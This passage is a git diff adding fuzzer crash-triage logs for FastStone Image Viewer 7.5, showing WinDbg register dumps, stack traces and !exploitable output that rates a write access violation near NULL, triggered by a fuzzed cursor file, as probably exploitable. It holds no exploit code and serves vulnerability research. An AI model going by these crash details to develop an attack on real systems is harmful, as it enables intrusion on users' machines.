7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00274000 358b58b5 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c8 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00274000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31521/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31521/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31521/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31724/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31724/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31724/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31724/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31724/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31724/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31724/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31724/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..02b221e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31724/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1110: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1110: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1110.1664): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ec7b19 edx=00000000 esi=00000000 edi=0fce4fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=268593 3.35981e+018 1.68414e+030 3.45606e-036 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00281000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00281000 5874c64d 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bb 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00281000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31724/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31724/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..02b221e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31724/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1110: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1110: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1110.1664): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ec7b19 edx=00000000 esi=00000000 edi=0fce4fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=268593 3.35981e+018 1.68414e+030 3.45606e-036 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00281000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00281000 5874c64d 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bb 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00281000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 